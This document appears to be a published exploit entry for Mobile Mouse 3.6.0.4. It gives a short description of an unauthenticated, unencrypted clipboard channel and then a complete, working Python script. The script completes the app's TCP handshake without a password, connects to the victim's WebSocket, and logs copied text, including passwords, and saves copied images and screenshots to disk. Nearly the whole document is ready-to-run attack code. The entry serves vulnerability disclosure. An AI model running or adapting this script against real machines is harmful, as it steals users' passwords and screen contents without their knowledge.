📄 Mobile Mouse 3.6.0.4 Clipboard Data Exfiltration

# Exploit Title: Mobile Mouse 3.6.0.4 Clipboard Data Exfiltration
    # Date: 06/20/2025
    # Exploit Author: Chokri Hammedi
    # Vendor Homepage: https://mobilemouse.com/
    # Software Link: https://www.mobilemouse.com/downloads/setup.exe
    # Version: 3.6.0.4
    # Tested on: Windows 10 (Build 19044)
    
    '''
    Description:
    
    attacker can intercept clipboard activity from a system running Mobile
    Mouse 3.6.0.4. When the user copies text, images, or takes screenshots, the
    data is transmitted over a WebSocket channel without encryption or
    authentication, allowing passive exfiltration of sensitive information such
    as passwords, or captured screens.
    
    '''
    
    import asyncio
    import uuid
    import websocket
    import threading
    import os
    import time
    import datetime
    import re
    import sys
    
    target_ip = "192.168.8.105"
    tcp_port = 9099
    ws_url = f"ws://{target_ip}:35913"
    
    output_dir = "output"
    os.makedirs(output_dir, exist_ok=True)
    
    EOR_CHAR = '\x1e'
    EOF_CHAR = '\x04'
    
    FILEINFO_MARKER = b'$$FILEINFO$$'
    FILESTART_MARKER = b'$$FILESTART$$'
    FILEEND_MARKER = b'$$FILEEND$$'
    
    CLIP_RE = re.compile(r'^CLIPBOARDUPDATE\x1E(TEXT|IMAGE)\x1F(.*)$',
    re.DOTALL)
    
    class ImageReceiver:
        def __init__(self):
            self.state = "idle"
            self.header_buffer = bytearray()
            self.image_buffer = bytearray()
            self.current_filename = None
            self.pending_save = False
            self.last_data_time = 0
    
        def process_binary(self, data: bytes):
            self.last_data_time = time.time()
            if self.state == "idle":
                self.header_buffer.extend(data)
                if FILEINFO_MARKER in self.header_buffer and FILESTART_MARKER
    in self.header_buffer:
                    i1 = self.header_buffer.find(FILEINFO_MARKER)
                    i2 = self.header_buffer.find(FILESTART_MARKER)
                    if i1 < i2:
                        info = self.header_buffer[i1 + len(FILEINFO_MARKER):i2]
                        try:
                            fn = info.split(b'\x1e', 1)[0].decode('utf-8',
    'replace').strip()
                        except:
                            fn = f"unknown_{int(time.time())}.jpg"
                        self.current_filename = fn
                        print(f"[+] Receiving image: {fn}")
                        self.pending_save = True
                        self.image_buffer = bytearray(self.header_buffer[i2 +
    len(FILESTART_MARKER):])
                        self.header_buffer.clear()
                        self.state = "image"
            elif self.state == "image":
                self.image_buffer.extend(data)
                end = self.image_buffer.find(FILEEND_MARKER)
                if end != -1:
                    img = self.image_buffer[:end]
                    self._save(img)
                    rem = self.image_buffer[end + len(FILEEND_MARKER):]
                    self._reset()
                    if rem:
                        self.process_binary(rem)
    
        def check_timeout(self):
            if self.state == "image" and self.pending_save:
                if time.time() - self.last_data_time > 0.5:
                    self._save(self.image_buffer)
                    self._reset()
    
        def _save(self, img_bytes: bytearray):
            path = os.path.join(output_dir, self.current_filename)
            with open(path, "wb") as f:
                f.write(img_bytes)
            print(f"[+] Image saved: {path}")
    
        def _reset(self):
            self.state = "idle"
            self.header_buffer.clear()
            self.image_buffer.clear()
            self.current_filename = None
            self.pending_save = False
    
    def on_open(ws):
        print("[+] WebSocket connected.")
        ws.img_rcv = ImageReceiver()
    
    
    def on_close(ws, code, msg):
        print("[!] WebSocket closed.")
    
    
    
    def save_text_log(text: str):
        date_str = datetime.datetime.now().strftime("%Y%m%d")
        time_str = datetime.datetime.now().strftime("%H:%M:%S")
        log_filename = os.path.join(output_dir, f"clipboard_{date_str}.log")
        with open(log_filename, "a", encoding="utf-8") as f:
            f.write(f"[{time_str}] {text}\n")
    
    def on_message(ws, message):
        if isinstance(message, (bytes, bytearray)):
            ws.img_rcv.process_binary(message)
            return
        text = message.strip()
        m = CLIP_RE.match(text)
        if not m:
            return
        kind, payload = m.group(1), m.group(2).strip()
        if kind == "TEXT" and payload:
            print(f"[+] Clipboard Text: {payload}")
            save_text_log(payload)
        elif kind == "IMAGE" and ws.img_rcv.pending_save:
            if ws.img_rcv.current_filename == payload:
                ws.img_rcv._save(ws.img_rcv.image_buffer)
                ws.img_rcv._reset()
    
    async def tcp_handshake():
        print(f"[+] Connecting to TCP {target_ip}:{tcp_port} ...")
        reader, writer = await asyncio.open_connection(target_ip, tcp_port)
    
        field1 = "" # password if known
        field2_guid = str(uuid.uuid4()).upper()
        field3_device_type = "Desktop"
        field4_version1 = "2"
        field5_version2 = "2"
        field6_version3_key =
    "{length=32,bytes=0x0000000000000000000000000000000000000000000000000000000000000000}"
    
        message = (
            f"CONNECT{EOR_CHAR}"
            f"{field1}{EOR_CHAR}"
            f"{field2_guid}{EOR_CHAR}"
            f"{field3_device_type}{EOR_CHAR}"
            f"{field4_version1}{EOR_CHAR}"
            f"{field5_version2}{EOR_CHAR}"
            f"{field6_version3_key}{EOF_CHAR}"
        )
    
        writer.write(message.encode())
        await writer.drain()
    
        try:
            response = await asyncio.wait_for(reader.read(1024), timeout=3.0)
            decoded = response.decode(errors='ignore').strip()
    
            if "Welcome" in decoded:
                print("[+] TCP Connected")
            elif "Please enter a password" in decoded:
                print("[!] Password Protected!")
                sys.exit(0)
            else:
                print("[!] Something went wrong")
        except asyncio.TimeoutError:
            print("[!] No response received. Proceeding anyway...")
    
        writer.close()
        await writer.wait_closed()
    
    def start_websocket():
        ws = websocket.WebSocketApp(
            ws_url,
            on_open=on_open,
            on_message=on_message,
            on_close=on_close
        )
        thr = threading.Thread(target=ws.run_forever, daemon=True)
        thr.start()
        try:
            while thr.is_alive():
                if hasattr(ws, 'img_rcv'):
                    ws.img_rcv.check_timeout()
                thr.join(0.1)
        except KeyboardInterrupt:
            print("\n[!] Interrupted by user.")
            ws.close()
    
    def main():
        asyncio.run(tcp_handshake())
        start_websocket()
    
    
    if __name__ == "__main__":
        main()